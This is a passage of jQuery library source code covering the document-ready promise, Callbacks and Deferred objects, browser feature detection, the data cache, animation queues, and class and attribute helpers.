length ? fn( elems[0], key ) : emptyGet;
},
now: function() {
return ( new Date() ).getTime();
}
});
jQuery.ready.promise = function( obj ) {
if ( !readyList ) {
readyList = jQuery.Deferred();
// Catch cases where $(document).ready() is called after the
// browser event has already occurred.
if ( document.readyState === "complete" || ( document.readyState !== "loading" && document.addEventListener ) ) {
// Handle it asynchronously to allow scripts the opportunity to delay ready
setTimeout( jQuery.ready, 1 );
// Standards-based browsers support DOMContentLoaded
} else if ( document.addEventListener ) {
// Use the handy event callback
document.addEventListener( "DOMContentLoaded", DOMContentLoaded, false );
// A fallback to window.onload, that will always work
window.addEventListener( "load", jQuery.ready, false );
// If IE event model is used
} else {
// Ensure firing before onload, maybe late but safe also for iframes
document.attachEvent( "onreadystatechange", DOMContentLoaded );
// A fallback to window.onload, that will always work
window.attachEvent( "onload", jQuery.ready );
// If IE and not a frame
// continually check to see if the document is ready
var top = false;
try {
top = window.frameElement == null && document.documentElement;
} catch(e) {}
if ( top && top.doScroll ) {
(function doScrollCheck() {
if ( !jQuery.isReady ) {
try {
// Use the trick by Diego Perini
// http://javascript.nwbox.com/IEContentLoaded/
top.doScroll("left");
} catch(e) {
return setTimeout( doScrollCheck, 50 );
}
// and execute any waiting functions
jQuery.ready();
}
})();
}
}
}
return readyList.promise( obj );
};
// Populate the class2type map
jQuery.each("Boolean Number String Function Array Date RegExp Object".split(" "), function(i, name) {
class2type[ "[object " + name + "]" ] = name.toLowerCase();
});
// All jQuery objects should point back to these
rootjQuery = jQuery(document);
// String to Object options format cache
var optionsCache = {};
// Convert String-formatted options into Object-formatted ones and store in cache
function createOptions( options ) {
var object = optionsCache[ options ] = {};
jQuery.each( options.split( core_rspace ), function( _, flag ) {
object[ flag ] = true;
});
return object;
}
/*
* Create a callback list using the following parameters:
*
* options: an optional list of space-separated options that will change how
* the callback list behaves or a more traditional option object
*
* By default a callback list will act like an event callback list and can be
* "fired" multiple times.
*
* Possible options:
*
* once: will ensure the callback list can only be fired once (like a Deferred)
*
* memory: will keep track of previous values and will call any callback added
* after the list has been fired right away with the latest "memorized"
* values (like a Deferred)
*
* unique: will ensure a callback can only be added once (no duplicate in the list)
*
* stopOnFalse: interrupt callings when a callback returns false
*
*/
jQuery.Callbacks = function( options ) {
// Convert options from String-formatted to Object-formatted if needed
// (we check in cache first)
options = typeof options === "string" ?
( optionsCache[ options ] || createOptions( options ) ) :
jQuery.extend( {}, options );
var // Last fire value (for non-forgettable lists)
memory,
// Flag to know if list was already fired
fired,
// Flag to know if list is currently firing
firing,
// First callback to fire (used internally by add and fireWith)
firingStart,
// End of the loop when firing
firingLength,
// Index of currently firing callback (modified by remove if needed)
firingIndex,
// Actual callback list
list = [],
// Stack of fire calls for repeatable lists
stack = !options.once && [],
// Fire callbacks
fire = function( data ) {
memory = options.memory && data;
fired = true;
firingIndex = firingStart || 0;
firingStart = 0;
firingLength = list.length;
firing = true;
for ( ; list && firingIndex < firingLength; firingIndex++ ) {
if ( list[ firingIndex ].apply( data[ 0 ], data[ 1 ] ) === false && options.stopOnFalse ) {
memory = false; // To prevent further calls using add
break;
}
}
firing = false;
if ( list ) {
if ( stack ) {
if ( stack.length ) {
fire( stack.shift() );
}
} else if ( memory ) {
list = [];
} else {
self.disable();
}
}
},
// Actual Callbacks object
self = {
// Add a callback or a collection of callbacks to the list
add: function() {
if ( list ) {
// First, we save the current length
var start = list.length;
(function add( args ) {
jQuery.each( args, function( _, arg ) {
if ( jQuery.isFunction( arg ) && ( !options.unique || !self.has( arg ) ) ) {
list.push( arg );
} else if ( arg && arg.length ) {
// Inspect recursively
add( arg );
}
});
})( arguments );
// Do we need to add the callbacks to the
// current firing batch?
if ( firing ) {
firingLength = list.length;
// With memory, if we're not firing then
// we should call right away
} else if ( memory ) {
firingStart = start;
fire( memory );
}
}
return this;
},
// Remove a callback from the list
remove: function() {
if ( list ) {
jQuery.each( arguments, function( _, arg ) {
var index;
while( ( index = jQuery.inArray( arg, list, index ) ) > -1 ) {
list.splice( index, 1 );
// Handle firing indexes
if ( firing ) {
if ( index <= firingLength ) {
firingLength--;
}
if ( index <= firingIndex ) {
firingIndex--;
}
}
}
});
}
return this;
},
// Control if a given callback is in the list
has: function( fn ) {
return jQuery.inArray( fn, list ) > -1;
},
// Remove all callbacks from the list
empty: function() {
list = [];
return this;
},
// Have the list do nothing anymore
disable: function() {
list = stack = memory = undefined;
return this;
},
// Is it disabled?
disabled: function() {
return !list;
},
// Lock the list in its current state
lock: function() {
stack = undefined;
if ( !memory ) {
self.disable();
}
return this;
},
// Is it locked?
locked: function() {
return !stack;
},
// Call all callbacks with the given context and arguments
fireWith: function( context, args ) {
args = args || [];
args = [ context, args.slice ? args.slice() : args ];
if ( list && ( !fired || stack ) ) {
if ( firing ) {
stack.push( args );
} else {
fire( args );
}
}
return this;
},
// Call all the callbacks with the given arguments
fire: function() {
self.fireWith( this, arguments );
return this;
},
// To know if the callbacks have already been called at least once
fired: function() {
return !!fired;
}
};
return self;
};
jQuery.extend({
Deferred: function( func ) {
var tuples = [
// action, add listener, listener list, final state
[ "resolve", "done", jQuery.Callbacks("once memory"), "resolved" ],
[ "reject", "fail", jQuery.Callbacks("once memory"), "rejected" ],
[ "notify", "progress", jQuery.Callbacks("memory") ]
],
state = "pending",
promise = {
state: function() {
return state;
},
always: function() {
deferred.done( arguments ).fail( arguments );
return this;
},
then: function( /* fnDone, fnFail, fnProgress */ ) {
var fns = arguments;
return jQuery.Deferred(function( newDefer ) {
jQuery.each( tuples, function( i, tuple ) {
var action = tuple[ 0 ],
fn = fns[ i ];
// deferred[ done | fail | progress ] for forwarding actions to newDefer
deferred[ tuple[1] ]( jQuery.isFunction( fn ) ?
function() {
var returned = fn.apply( this, arguments );
if ( returned && jQuery.isFunction( returned.promise ) ) {
returned.promise()
.done( newDefer.resolve )
.fail( newDefer.reject )
.progress( newDefer.notify );
} else {
newDefer[ action + "With" ]( this === deferred ? newDefer : this, [ returned ] );
}
} :
newDefer[ action ]
);
});
fns = null;
}).promise();
},
// Get a promise for this deferred
// If obj is provided, the promise aspect is added to the object
promise: function( obj ) {
return typeof obj === "object" ? jQuery.extend( obj, promise ) : promise;
}
},
deferred = {};
// Keep pipe for back-compat
promise.pipe = promise.then;
// Add list-specific methods
jQuery.each( tuples, function( i, tuple ) {
var list = tuple[ 2 ],
stateString = tuple[ 3 ];
// promise[ done | fail | progress ] = list.add
promise[ tuple[1] ] = list.add;
// Handle state
if ( stateString ) {
list.add(function() {
// state = [ resolved | rejected ]
state = stateString;
// [ reject_list | resolve_list ].disable; progress_list.lock
}, tuples[ i ^ 1 ][ 2 ].disable, tuples[ 2 ][ 2 ].lock );
}
// deferred[ resolve | reject | notify ] = list.fire
deferred[ tuple[0] ] = list.fire;
deferred[ tuple[0] + "With" ] = list.fireWith;
});
// Make the deferred a promise
promise.promise( deferred );
// Call given func if any
if ( func ) {
func.call( deferred, deferred );
}
// All done!
return deferred;
},
// Deferred helper
when: function( subordinate /* , ..., subordinateN */ ) {
var i = 0,
resolveValues = core_slice.call( arguments ),
length = resolveValues.length,
// the count of uncompleted subordinates
remaining = length !== 1 || ( subordinate && jQuery.isFunction( subordinate.promise ) ) ? length : 0,
// the master Deferred. If resolveValues consist of only a single Deferred, just use that.
deferred = remaining === 1 ? subordinate : jQuery.Deferred(),
// Update function for both resolve and progress values
updateFunc = function( i, contexts, values ) {
return function( value ) {
contexts[ i ] = this;
values[ i ] = arguments.length > 1 ? core_slice.call( arguments ) : value;
if( values === progressValues ) {
deferred.notifyWith( contexts, values );
} else if ( !( --remaining ) ) {
deferred.resolveWith( contexts, values );
}
};
},
progressValues, progressContexts, resolveContexts;
// add listeners to Deferred subordinates; treat others as resolved
if ( length > 1 ) {
progressValues = new Array( length );
progressContexts = new Array( length );
resolveContexts = new Array( length );
for ( ; i < length; i++ ) {
if ( resolveValues[ i ] && jQuery.isFunction( resolveValues[ i ].promise ) ) {
resolveValues[ i ].promise()
.done( updateFunc( i, resolveContexts, resolveValues ) )
.fail( deferred.reject )
.progress( updateFunc( i, progressContexts, progressValues ) );
} else {
--remaining;
}
}
}
// if we're not waiting on anything, resolve the master
if ( !remaining ) {
deferred.resolveWith( resolveContexts, resolveValues );
}
return deferred.promise();
}
});
jQuery.support = (function() {
var support,
all,
a,
select,
opt,
input,
fragment,
eventName,
i,
isSupported,
clickFn,
div = document.createElement("div");
// Preliminary tests
div.setAttribute( "className", "t" );
div.innerHTML = " <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";
all = div.getElementsByTagName("*");
a = div.getElementsByTagName("a")[ 0 ];
a.style.cssText = "top:1px;float:left;opacity:.5";
// Can't get basic test support
if ( !all || !all.length || !a ) {
return {};
}
// First batch of supports tests
select = document.createElement("select");
opt = select.appendChild( document.createElement("option") );
input = div.getElementsByTagName("input")[ 0 ];
support = {
// IE strips leading whitespace when .innerHTML is used
leadingWhitespace: ( div.firstChild.nodeType === 3 ),
// Make sure that tbody elements aren't automatically inserted
// IE will insert them into empty tables
tbody: !div.getElementsByTagName("tbody").length,
// Make sure that link elements get serialized correctly by innerHTML
// This requires a wrapper element in IE
htmlSerialize: !!div.getElementsByTagName("link").length,
// Get the style information from getAttribute
// (IE uses .cssText instead)
style: /top/.test( a.getAttribute("style") ),
// Make sure that URLs aren't manipulated
// (IE normalizes it by default)
hrefNormalized: ( a.getAttribute("href") === "/a" ),
// Make sure that element opacity exists
// (IE uses filter instead)
// Use a regex to work around a WebKit issue. See #5145
opacity: /^0.5/.test( a.style.opacity ),
// Verify style float existence
// (IE uses styleFloat instead of cssFloat)
cssFloat: !!a.style.cssFloat,
// Make sure that if no value is specified for a checkbox
// that it defaults to "on".
// (WebKit defaults to "" instead)
checkOn: ( input.value === "on" ),
// Make sure that a selected-by-default option has a working selected property.
// (WebKit defaults to false instead of true, IE too, if it's in an optgroup)
optSelected: opt.selected,
// Test setAttribute on camelCase class. If it works, we need attrFixes when doing get/setAttribute (ie6/7)
getSetAttribute: div.className !== "t",
// Tests for enctype support on a form(#6743)
enctype: !!document.createElement("form").enctype,
// Makes sure cloning an html5 element does not cause problems
// Where outerHTML is undefined, this still works
html5Clone: document.createElement("nav").cloneNode( true ).outerHTML !== "<:nav></:nav>",
// jQuery.support.boxModel DEPRECATED in 1.8 since we don't support Quirks Mode
boxModel: ( document.compatMode === "CSS1Compat" ),
// Will be defined later
submitBubbles: true,
changeBubbles: true,
focusinBubbles: false,
deleteExpando: true,
noCloneEvent: true,
inlineBlockNeedsLayout: false,
shrinkWrapBlocks: false,
reliableMarginRight: true,
boxSizingReliable: true,
pixelPosition: false
};
// Make sure checked status is properly cloned
input.checked = true;
support.noCloneChecked = input.cloneNode( true ).checked;
// Make sure that the options inside disabled selects aren't marked as disabled
// (WebKit marks them as disabled)
select.disabled = true;
support.optDisabled = !opt.disabled;
// Test to see if it's possible to delete an expando from an element
// Fails in Internet Explorer
try {
delete div.test;
} catch( e ) {
support.deleteExpando = false;
}
if ( !div.addEventListener && div.attachEvent && div.fireEvent ) {
div.attachEvent( "onclick", clickFn = function() {
// Cloning a node shouldn't copy over any
// bound event handlers (IE does this)
support.noCloneEvent = false;
});
div.cloneNode( true ).fireEvent("onclick");
div.detachEvent( "onclick", clickFn );
}
// Check if a radio maintains its value
// after being appended to the DOM
input = document.createElement("input");
input.value = "t";
input.setAttribute( "type", "radio" );
support.radioValue = input.value === "t";
input.setAttribute( "checked", "checked" );
// #11217 - WebKit loses check when the name is after the checked attribute
input.setAttribute( "name", "t" );
div.appendChild( input );
fragment = document.createDocumentFragment();
fragment.appendChild( div.lastChild );
// WebKit doesn't clone checked state correctly in fragments
support.checkClone = fragment.cloneNode( true ).cloneNode( true ).lastChild.checked;
// Check if a disconnected checkbox will retain its checked
// value of true after appended to the DOM (IE6/7)
support.appendChecked = input.checked;
fragment.removeChild( input );
fragment.appendChild( div );
// Technique from Juriy Zaytsev
// http://perfectionkills.com/detecting-event-support-without-browser-sniffing/
// We only care about the case where non-standard event systems
// are used, namely in IE. Short-circuiting here helps us to
// avoid an eval call (in setAttribute) which can cause CSP
// to go haywire. See: https://developer.mozilla.org/en/Security/CSP
if ( div.attachEvent ) {
for ( i in {
submit: true,
change: true,
focusin: true
}) {
eventName = "on" + i;
isSupported = ( eventName in div );
if ( !isSupported ) {
div.setAttribute( eventName, "return;" );
isSupported = ( typeof div[ eventName ] === "function" );
}
support[ i + "Bubbles" ] = isSupported;
}
}
// Run tests that need a body at doc ready
jQuery(function() {
var container, div, tds, marginDiv,
divReset = "padding:0;margin:0;border:0;display:block;overflow:hidden;",
body = document.getElementsByTagName("body")[0];
if ( !body ) {
// Return for frameset docs that don't have a body
return;
}
container = document.createElement("div");
container.style.cssText = "visibility:hidden;border:0;width:0;height:0;position:static;top:0;margin-top:1px";
body.insertBefore( container, body.firstChild );
// Construct the test element
div = document.createElement("div");
container.appendChild( div );
// Check if table cells still have offsetWidth/Height when they are set
// to display:none and there are still other visible table cells in a
// table row; if so, offsetWidth/Height are not reliable for use when
// determining if an element has been hidden directly using
// display:none (it is still safe to use offsets if a parent element is
// hidden; don safety goggles and see bug #4512 for more information).
// (only IE 8 fails this test)
div.innerHTML = "<table><tr><td></td><td>t</td></tr></table>";
tds = div.getElementsByTagName("td");
tds[ 0 ].style.cssText = "padding:0;margin:0;border:0;display:none";
isSupported = ( tds[ 0 ].offsetHeight === 0 );
tds[ 0 ].style.display = "";
tds[ 1 ].style.display = "none";
// Check if empty table cells still have offsetWidth/Height
// (IE <= 8 fail this test)
support.reliableHiddenOffsets = isSupported && ( tds[ 0 ].offsetHeight === 0 );
// Check box-sizing and margin behavior
div.innerHTML = "";
div.style.cssText = "box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;padding:1px;border:1px;display:block;width:4px;margin-top:1%;position:absolute;top:1%;";
support.boxSizing = ( div.offsetWidth === 4 );
support.doesNotIncludeMarginInBodyOffset = ( body.offsetTop !== 1 );
// NOTE: To any future maintainer, window.getComputedStyle was used here
// instead of getComputedStyle because it gave a better gzip size.
// The difference between window.getComputedStyle and getComputedStyle is
// 7 bytes
if ( window.getComputedStyle ) {
support.pixelPosition = ( window.getComputedStyle( div, null ) || {} ).top !== "1%";
support.boxSizingReliable = ( window.getComputedStyle( div, null ) || { width: "4px" } ).width === "4px";
// Check if div with explicit width and no margin-right incorrectly
// gets computed margin-right based on width of container. For more
// info see bug #3333
// Fails in WebKit before Feb 2011 nightlies
// WebKit Bug 13343 - getComputedStyle returns wrong value for margin-right
marginDiv = document.createElement("div");
marginDiv.style.cssText = div.style.cssText = divReset;
marginDiv.style.marginRight = marginDiv.style.width = "0";
div.style.width = "1px";
div.appendChild( marginDiv );
support.reliableMarginRight =
!parseFloat( ( window.getComputedStyle( marginDiv, null ) || {} ).marginRight );
}
if ( typeof div.style.zoom !== "undefined" ) {
// Check if natively block-level elements act like inline-block
// elements when setting their display to 'inline' and giving
// them layout
// (IE < 8 does this)
div.innerHTML = "";
div.style.cssText = divReset + "width:1px;padding:1px;display:inline;zoom:1";
support.inlineBlockNeedsLayout = ( div.offsetWidth === 3 );
// Check if elements with layout shrink-wrap their children
// (IE 6 does this)
div.style.display = "block";
div.style.overflow = "visible";
div.innerHTML = "<div></div>";
div.firstChild.style.width = "5px";
support.shrinkWrapBlocks = ( div.offsetWidth !== 3 );
container.style.zoom = 1;
}
// Null elements to avoid leaks in IE
body.removeChild( container );
container = div = tds = marginDiv = null;
});
// Null elements to avoid leaks in IE
fragment.removeChild( div );
all = a = select = opt = input = fragment = div = null;
return support;
})();
var rbrace = /^(?:\{.*\}|\[.*\])$/,
rmultiDash = /([A-Z])/g;
jQuery.extend({
cache: {},
deletedIds: [],
// Please use with caution
uuid: 0,
// Unique for each copy of jQuery on the page
// Non-digits removed to match rinlinejQuery
expando: "jQuery" + ( jQuery.fn.jquery + Math.random() ).replace( /\D/g, "" ),
// The following elements throw uncatchable exceptions if you
// attempt to add expando properties to them.
noData: {
"embed": true,
// Ban all objects except for Flash (which handle expandos)
"object": "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",
"applet": true
},
hasData: function( elem ) {
elem = elem.nodeType ? jQuery.cache[ elem[jQuery.expando] ] : elem[ jQuery.expando ];
return !!elem && !isEmptyDataObject( elem );
},
data: function( elem, name, data, pvt /* Internal Use Only */ ) {
if ( !jQuery.acceptData( elem ) ) {
return;
}
var thisCache, ret,
internalKey = jQuery.expando,
getByName = typeof name === "string",
// We have to handle DOM nodes and JS objects differently because IE6-7
// can't GC object references properly across the DOM-JS boundary
isNode = elem.nodeType,
// Only DOM nodes need the global jQuery cache; JS object data is
// attached directly to the object so GC can occur automatically
cache = isNode ? jQuery.cache : elem,
// Only defining an ID for JS objects if its cache already exists allows
// the code to shortcut on the same path as a DOM node with no cache
id = isNode ? elem[ internalKey ] : elem[ internalKey ] && internalKey;
// Avoid doing any more work than we need to when trying to get data on an
// object that has no data at all
if ( (!id || !cache[id] || (!pvt && !cache[id].data)) && getByName && data === undefined ) {
return;
}
if ( !id ) {
// Only DOM nodes need a new unique ID for each element since their data
// ends up in the global cache
if ( isNode ) {
elem[ internalKey ] = id = jQuery.deletedIds.pop() || ++jQuery.uuid;
} else {
id = internalKey;
}
}
if ( !cache[ id ] ) {
cache[ id ] = {};
// Avoids exposing jQuery metadata on plain JS objects when the object
// is serialized using JSON.stringify
if ( !isNode ) {
cache[ id ].toJSON = jQuery.noop;
}
}
// An object can be passed to jQuery.data instead of a key/value pair; this gets
// shallow copied over onto the existing cache
if ( typeof name === "object" || typeof name === "function" ) {
if ( pvt ) {
cache[ id ] = jQuery.extend( cache[ id ], name );
} else {
cache[ id ].data = jQuery.extend( cache[ id ].data, name );
}
}
thisCache = cache[ id ];
// jQuery data() is stored in a separate object inside the object's internal data
// cache in order to avoid key collisions between internal data and user-defined
// data.
if ( !pvt ) {
if ( !thisCache.data ) {
thisCache.data = {};
}
thisCache = thisCache.data;
}
if ( data !== undefined ) {
thisCache[ jQuery.camelCase( name ) ] = data;
}
// Check for both converted-to-camel and non-converted data property names
// If a data property was specified
if ( getByName ) {
// First Try to find as-is property data
ret = thisCache[ name ];
// Test for null|undefined property data
if ( ret == null ) {
// Try to find the camelCased property
ret = thisCache[ jQuery.camelCase( name ) ];
}
} else {
ret = thisCache;
}
return ret;
},
removeData: function( elem, name, pvt /* Internal Use Only */ ) {
if ( !jQuery.acceptData( elem ) ) {
return;
}
var thisCache, i, l,
isNode = elem.nodeType,
// See jQuery.data for more information
cache = isNode ? jQuery.cache : elem,
id = isNode ? elem[ jQuery.expando ] : jQuery.expando;
// If there is already no cache entry for this object, there is no
// purpose in continuing
if ( !cache[ id ] ) {
return;
}
if ( name ) {
thisCache = pvt ? cache[ id ] : cache[ id ].data;
if ( thisCache ) {
// Support array or space separated string names for data keys
if ( !jQuery.isArray( name ) ) {
// try the string as a key before any manipulation
if ( name in thisCache ) {
name = [ name ];
} else {
// split the camel cased version by spaces unless a key with the spaces exists
name = jQuery.camelCase( name );
if ( name in thisCache ) {
name = [ name ];
} else {
name = name.split(" ");
}
}
}
for ( i = 0, l = name.length; i < l; i++ ) {
delete thisCache[ name[i] ];
}
// If there is no data left in the cache, we want to continue
// and let the cache object itself get destroyed
if ( !( pvt ? isEmptyDataObject : jQuery.isEmptyObject )( thisCache ) ) {
return;
}
}
}
// See jQuery.data for more information
if ( !pvt ) {
delete cache[ id ].data;
// Don't destroy the parent cache unless the internal data object
// had been the only thing left in it
if ( !isEmptyDataObject( cache[ id ] ) ) {
return;
}
}
// Destroy the cache
if ( isNode ) {
jQuery.cleanData( [ elem ], true );
// Use delete when supported for expandos or `cache` is not a window per isWindow (#10080)
} else if ( jQuery.support.deleteExpando || cache != cache.window ) {
delete cache[ id ];
// When all else fails, null
} else {
cache[ id ] = null;
}
},
// For internal use only.
_data: function( elem, name, data ) {
return jQuery.data( elem, name, data, true );
},
// A method for determining if a DOM node can handle the data expando
acceptData: function( elem ) {
var noData = elem.nodeName && jQuery.noData[ elem.nodeName.toLowerCase() ];
// nodes accept data unless otherwise specified; rejection can be conditional
return !noData || noData !== true && elem.getAttribute("classid") === noData;
}
});
jQuery.fn.extend({
data: function( key, value ) {
var parts, part, attr, name, l,
elem = this[0],
i = 0,
data = null;
// Gets all values
if ( key === undefined ) {
if ( this.length ) {
data = jQuery.data( elem );
if ( elem.nodeType === 1 && !jQuery._data( elem, "parsedAttrs" ) ) {
attr = elem.attributes;
for ( l = attr.length; i < l; i++ ) {
name = attr[i].name;
if ( name.indexOf( "data-" ) === 0 ) {
name = jQuery.camelCase( name.substring(5) );
dataAttr( elem, name, data[ name ] );
}
}
jQuery._data( elem, "parsedAttrs", true );
}
}
return data;
}
// Sets multiple values
if ( typeof key === "object" ) {
return this.each(function() {
jQuery.data( this, key );
});
}
parts = key.split( ".", 2 );
parts[1] = parts[1] ? "." + parts[1] : "";
part = parts[1] + "!";
return jQuery.access( this, function( value ) {
if ( value === undefined ) {
data = this.triggerHandler( "getData" + part, [ parts[0] ] );
// Try to fetch any internally stored data first
if ( data === undefined && elem ) {
data = jQuery.data( elem, key );
data = dataAttr( elem, key, data );
}
return data === undefined && parts[1] ?
this.data( parts[0] ) :
data;
}
parts[1] = value;
this.each(function() {
var self = jQuery( this );
self.triggerHandler( "setData" + part, parts );
jQuery.data( this, key, value );
self.triggerHandler( "changeData" + part, parts );
});
}, null, value, arguments.length > 1, null, false );
},
removeData: function( key ) {
return this.each(function() {
jQuery.removeData( this, key );
});
}
});
function dataAttr( elem, key, data ) {
// If nothing was found internally, try to fetch any
// data from the HTML5 data-* attribute
if ( data === undefined && elem.nodeType === 1 ) {
var name = "data-" + key.replace( rmultiDash, "-$1" ).toLowerCase();
data = elem.getAttribute( name );
if ( typeof data === "string" ) {
try {
data = data === "true" ? true :
data === "false" ? false :
data === "null" ? null :
// Only convert to a number if it doesn't change the string
+data + "" === data ? +data :
rbrace.test( data ) ? jQuery.parseJSON( data ) :
data;
} catch( e ) {}
// Make sure we set the data so it isn't changed later
jQuery.data( elem, key, data );
} else {
data = undefined;
}
}
return data;
}
// checks a cache object for emptiness
function isEmptyDataObject( obj ) {
var name;
for ( name in obj ) {
// if the public data object is empty, the private is still empty
if ( name === "data" && jQuery.isEmptyObject( obj[name] ) ) {
continue;
}
if ( name !== "toJSON" ) {
return false;
}
}
return true;
}
jQuery.extend({
queue: function( elem, type, data ) {
var queue;
if ( elem ) {
type = ( type || "fx" ) + "queue";
queue = jQuery._data( elem, type );
// Speed up dequeue by getting out quickly if this is just a lookup
if ( data ) {
if ( !queue || jQuery.isArray(data) ) {
queue = jQuery._data( elem, type, jQuery.makeArray(data) );
} else {
queue.push( data );
}
}
return queue || [];
}
},
dequeue: function( elem, type ) {
type = type || "fx";
var queue = jQuery.queue( elem, type ),
fn = queue.shift(),
hooks = jQuery._queueHooks( elem, type ),
next = function() {
jQuery.dequeue( elem, type );
};
// If the fx queue is dequeued, always remove the progress sentinel
if ( fn === "inprogress" ) {
fn = queue.shift();
}
if ( fn ) {
// Add a progress sentinel to prevent the fx queue from being
// automatically dequeued
if ( type === "fx" ) {
queue.unshift( "inprogress" );
}
// clear up the last queue stop function
delete hooks.stop;
fn.call( elem, next, hooks );
}
if ( !queue.length && hooks ) {
hooks.empty.fire();
}
},
// not intended for public consumption - generates a queueHooks object, or returns the current one
_queueHooks: function( elem, type ) {
var key = type + "queueHooks";
return jQuery._data( elem, key ) || jQuery._data( elem, key, {
empty: jQuery.Callbacks("once memory").add(function() {
jQuery.removeData( elem, type + "queue", true );
jQuery.removeData( elem, key, true );
})
});
}
});
jQuery.fn.extend({
queue: function( type, data ) {
var setter = 2;
if ( typeof type !== "string" ) {
data = type;
type = "fx";
setter--;
}
if ( arguments.length < setter ) {
return jQuery.queue( this[0], type );
}
return data === undefined ?
this :
this.each(function() {
var queue = jQuery.queue( this, type, data );
// ensure a hooks for this queue
jQuery._queueHooks( this, type );
if ( type === "fx" && queue[0] !== "inprogress" ) {
jQuery.dequeue( this, type );
}
});
},
dequeue: function( type ) {
return this.each(function() {
jQuery.dequeue( this, type );
});
},
// Based off of the plugin by Clint Helfers, with permission.
// http://blindsignals.com/index.php/2009/07/jquery-delay/
delay: function( time, type ) {
time = jQuery.fx ? jQuery.fx.speeds[ time ] || time : time;
type = type || "fx";
return this.queue( type, function( next, hooks ) {
var timeout = setTimeout( next, time );
hooks.stop = function() {
clearTimeout( timeout );
};
});
},
clearQueue: function( type ) {
return this.queue( type || "fx", [] );
},
// Get a promise resolved when queues of a certain type
// are emptied (fx is the type by default)
promise: function( type, obj ) {
var tmp,
count = 1,
defer = jQuery.Deferred(),
elements = this,
i = this.length,
resolve = function() {
if ( !( --count ) ) {
defer.resolveWith( elements, [ elements ] );
}
};
if ( typeof type !== "string" ) {
obj = type;
type = undefined;
}
type = type || "fx";
while( i-- ) {
if ( (tmp = jQuery._data( elements[ i ], type + "queueHooks" )) && tmp.empty ) {
count++;
tmp.empty.add( resolve );
}
}
resolve();
return defer.promise( obj );
}
});
var nodeHook, boolHook, fixSpecified,
rclass = /[\t\r\n]/g,
rreturn = /\r/g,
rtype = /^(?:button|input)$/i,
rfocusable = /^(?:button|input|object|select|textarea)$/i,
rclickable = /^a(?:rea|)$/i,
rboolean = /^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,
getSetAttribute = jQuery.support.getSetAttribute;
jQuery.fn.extend({
attr: function( name, value ) {
return jQuery.access( this, jQuery.attr, name, value, arguments.length > 1 );
},
removeAttr: function( name ) {
return this.each(function() {
jQuery.removeAttr( this, name );
});
},
prop: function( name, value ) {
return jQuery.access( this, jQuery.prop, name, value, arguments.length > 1 );
},
removeProp: function( name ) {
name = jQuery.propFix[ name ] || name;
return this.each(function() {
// try/catch handles cases where IE balks (such as removing a property on window)
try {
this[ name ] = undefined;
delete this[ name ];
} catch( e ) {}
});
},
addClass: function( value ) {
var classNames, i, l, elem,
setClass, c, cl;
if ( jQuery.isFunction( value ) ) {
return this.each(function( j ) {
jQuery( this ).addClass( value.call(this, j, this.className) );
});
}
if ( value && typeof value === "string" ) {
classNames = value.split( core_rspace );
for ( i = 0, l = this.length; i < l; i++ ) {
elem = this[ i ];
if ( elem.nodeType === 1 ) {
if ( !elem.className && classNames.length === 1 ) {
elem.className = value;
} else {
setClass = " " + elem.className + " ";
for ( c = 0, cl = classNames.length; c < cl; c++ ) {
if ( !~setClass.indexOf( " " + classNames[ c ] + " " ) ) {
setClass += classNames[ c ] + " ";
}
}
elem.className = jQuery.trim( setClass );
}
}
}
}
return this;
},
removeClass: function( value ) {
var removes, className, elem, c, cl, i, l;
if ( jQuery.isFunction( value ) ) {
return this.each(function( j ) {
jQuery( this ).removeClass( value.call(this, j, this.className) );
});
}
if ( (value && typeof value === "string") || value === undefined ) {
removes = ( value || "" ).split( core_rspace );
for ( i = 0, l = this.length; i < l; i++ ) {
elem = this[ i ];
if ( elem.nodeType === 1 && elem.className ) {
className = (" " + elem.className + " ").replace( rclass, " " );
// loop over each item in the removal list
for ( c = 0, cl = removes.length; c < cl; c++ ) {
// Remove until there is nothing to remove,
while ( className.indexOf(" " + removes[ c ] + " ") > -1 ) {
className = className.replace( " " + removes[ c ] + " " , " " );
}
}
elem.className = value ? jQuery.trim( className ) : "";
}
}
}
return this;
},
toggleClass: function( value, stateVal ) {
var type = typeof value,
isBool = typeof stateVal === "boolean";
if ( jQuery.isFunction( value ) ) {
return this.each(function( i ) {
jQuery( this ).toggleClass( value.call(this, i, this.className, stateVal), stateVal );
});
}
return this.each(function() {
if ( type === "string" ) {
// toggle individual class names
var className,
i = 0,
self = jQuery( this ),
state = stateVal,
classNames = value.split( core_rspace );
while ( (className = classNames[ i++ ]) ) {
// check each className given, space separated list
state = isBool ? state : !self.hasClass( className );
self[ state ? "addClass" : "removeClass" ]( className );
}
} else if ( type === "undefined" || type === "boolean" ) {
if ( this.className ) {
// store className if set
jQuery._data( this, "__className__", this.className );
}
// toggle whole className
this.className = this.className || value === false ? "" : jQuery._data( this, "__className__" ) || "";
}
});
},
hasClass: function( selector ) {
var className = " " + selector + " ",
i = 0,
l = this.length;
for ( ; i < l; i++ ) {
if ( this[i].nodeType === 1 && (" " + this[i].className + " ").replace(rclass, " ").indexOf( className ) > -1 ) {
return true;
}
}
return false;
},
val: function( value ) {
var hooks, ret, isFunction,
elem = this[0];
if ( !arguments.length ) {
if ( elem ) {
hooks = jQuery.valHooks[ elem.type ] || jQuery.valHooks[ elem.nodeName.toLowerCase() ];
if ( hooks && "get" in hooks && (ret = hooks.get( elem, "value" )) !== undefined ) {
return ret;
}
ret = elem.value;
return typeof ret === "string" ?
// handle most common string cases
ret.replace(rreturn, "") :
// handle cases where value is null/undef or number
ret == null ? "" : ret;
}
return;
}
isFunction = jQuery.isFunction( value );
return this.each(function( i ) {
var val,
self = jQuery(this);
if ( this.nodeType !== 1 ) {
return;
}
if ( isFunction ) {
val = value.call( this, i, self.val() );
} else {
val = value;
}
// Treat null/undefined as ""; convert numbers to string
if ( val == null ) {
val = "";
} else if ( typeof val === "number" ) {
val += "";
} else if ( jQuery.isArray( val ) ) {
val = jQuery.map(val, function ( value ) {
return value == null ? "" : value + "";
});
}
hooks = jQuery.valHooks[ this.type ] || jQuery.valHooks[ this.nodeName.toLowerCase() ];
// If set returns undefined, fall back to normal setting
if ( !hooks || !("set" in hooks) || hooks.set( this, val, "value" ) === undefined ) {
this.value = val;
}
});
}
});
jQuery.extend({
valHooks: {
option: {
get: function( elem ) {
// attributes.value is undefined in Blackberry 4.7 but
// uses .value. See #6932
var val = elem.attributes.value;
